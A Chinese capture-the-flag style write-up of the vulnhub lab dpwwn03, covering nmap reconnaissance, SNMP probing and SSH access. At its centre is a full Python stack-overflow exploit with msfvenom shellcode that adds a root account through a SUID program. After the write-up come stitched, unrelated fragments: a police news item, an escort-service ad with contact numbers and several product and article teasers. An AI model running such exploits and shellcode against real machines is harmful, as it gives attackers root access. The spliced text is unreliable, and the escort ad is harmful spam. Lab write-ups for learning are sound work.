最近在刷vulnhub靶场,偶然间做到了dpwwn系列的靶场,其中dpwwn03靶场提权用的是程序栈溢出的漏洞,相对常规 *** 还是比较少见的,所以拿出来单独在这里研究下。既然讲到了提权,顺带介绍下常规的提权方式:
1、内核漏洞
例如脏牛这类型的。
2、定时任务
3、suid提权
4、sudo配置错误
5、第三方组件
6、NFS提权
下面我们从头开始介绍dpwwn03这个靶场的渗透过程,以这个靶场为对象进行相关知识的研究。
因为是靶场,在配置好虚拟机的NAT连接方式后,需要发现靶机的ip,使用如下的命令:
arp-scan -l
nmap -sP 192.168.167.0/24
常用的命令有:
nmap -sS -sV -Pn -T4 -p- 192.168.167.189
nmap -A -O -sV -p 22,161 --script=vuln 192.168.167.189
下图是我对靶机的扫描结果:
这个靶机因为没有web端口,所以目录扫描就省去了,不然在实战中,目录扫描是很关键的一步,通常都需要通过目录扫描来提供漏洞挖掘思路。
从端口的扫描结果可以知道,该靶机渗透的重点就在22和161端口,我们一个一个来试试。
nmap通过脚本扫描已经列出了一堆,在用searchsploit看看;
没找到能合适用的exp,换下一个端口试试。
也没发现啥合适的漏洞。
后来找到了一款针对snmp协议的工具,使用了一下发现:
其他就没啥思路了。用这个john去试了试ssh登录,居然成功了,有点玄幻了。
连上ssh后,一上来肯定是要sudo的都试试;
在sudo -l中已经发现了线索,看下ss.sh;
到这里提权思路已经很明显了,suid提权的思想, *** ashthestack是以root的权限运行的,如果通过 *** ashthestack在运行其他程序,那其他程序也是以root的权限运行的,下面就来研究下 *** ashthestack这个程序。
这个程序可以在栈上执行代码,条件便利了很多。
这里栈溢出的难点在于找到溢出后shellcode的存放地址,以便覆盖返回地址后,能正确的将返回地址覆盖为shellcode的地址。(我是直接进到靶机里去调试的,当然,用edb、gdb调试甚至爆破都是可以的。)
这里用msfvenom生成自己所需要的shellcode:
这个shellcode的作用是添加一个root权限的用户hack。
完整的exp如下:
#!/usr/bin/python import sys, socket EIP="\xd1\xf2\xff\xbf" junk="A"*732 NOP="\x90" * 16 # msfvenom -p linux/x86/adduser USER=hack PASS=hack123 -e x86/alpha_mixed -f c payload=( "\x89\xe0\xda\xca\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41" "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42" "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x35" "\x61\x58\x49\x4c\x49\x48\x4b\x50\x6a\x51\x56\x51\x48\x68\x4d" "\x4b\x30\x42\x4a\x53\x35\x50\x58\x45\x61\x6f\x39\x72\x71\x75" "\x38\x62\x53\x32\x53\x32\x57\x70\x64\x62\x48\x66\x4f\x34\x6f" "\x44\x30\x73\x51\x45\x38\x34\x6f\x30\x65\x51\x64\x70\x63\x4b" "\x39\x78\x63\x52\x61\x4d\x65\x45\x54\x58\x4d\x4b\x30\x6f\x63" "\x6a\x48\x77\x52\x57\x70\x77\x70\x53\x30\x61\x78\x51\x71\x70" "\x63\x52\x4b\x77\x4a\x52\x61\x30\x7a\x75\x32\x62\x67\x31\x62" "\x54\x6f\x57\x31\x75\x35\x33\x71\x43\x62\x32\x71\x74\x30\x71" "\x51\x76\x5a\x46\x50\x57\x4a\x56\x50\x46\x5a\x56\x5a\x64\x6f" "\x46\x5a\x34\x6f\x63\x52\x50\x69\x72\x4e\x34\x6f\x44\x33\x52" "\x48\x75\x5a\x63\x69\x4c\x4b\x72\x71\x4b\x4c\x30\x6a\x43\x34" "\x56\x38\x5a\x6d\x6b\x30\x43\x5a\x63\x31\x50\x58\x78\x4d\x4d" "\x50\x41\x41" ) buffer=junk + EIP + NOP + payload s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("localhost",3210))? #s.connect(("192.168.167.138",3210))? 尝试远程溢出,但远端程序连接存在问题没有成功; s.send(buffer) s.close()
而后直接su hack就完成了提权。
大家还可以根据自己的需要,利用msfvenom生成各种payload进行测试,在这里就不再重复了。
靶机的渗透脑洞了一下,也学到了snmp这个平时我们很容易忽视的协议。关于提权,原理和思路都很清晰,溢出的 *** 也不难,就是程序的调试有点让人崩溃,需要自己去找到shellcode的存放位置,因为开了PIE,所以不同系统、不同机器启动后shellcode的位置都会发生变化。
7月6日20时07分,杭州市公安局江干区分局接群众求助,称三堡北苑居民来某某于7月5日凌晨失踪。针对该起失踪事件,江干分局立即组织力量开展调查寻人工作。在搜寻过程中,多处疑点引起警方高度重视,省、...
“北京男士spa养生会所,这个会所的服务好、技术的按摩技术好!-【陶欣】”QQ号:265***679北京模特服务时间:7月开始至8月电话:73***615深圳模特伴游:真实空姐5000/次,全国空降1...
每年双十一是消费者的狂欢,更是品牌们冲刺市场的关键节点。今年的双十一,京东更是重磅推出了预售、头号京贴、“双百亿计划”等超强力度的福利,必然会引爆消费狂潮。 如何在双十一抓住黄金点位实现品牌的大...
Sucuri BLOG最近发布了2019年Q2季度被黑网站趋势陈述(Website Hacked Trend Report 2019 -Q2)。这家组织的事端呼应小组和歹意程序研讨组对部分被黑站点进行...
曼亚智能锁附属于麦域智能科技(上海)有限公司,是一家专注于智能家居规模研究、设计、出产、销售于一体的创新型高科技企业。曼亚智能锁不管是在小区、办公楼照旧旅馆等处所,都有很遍及的应用规模。那么曼亚智...
这是作者的系列网络安全自学教程,主要是关于网安工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步。前文分享了Web渗透的第一步工作,涉及网站信息、域名信息、端口信息、敏感信息及指纹...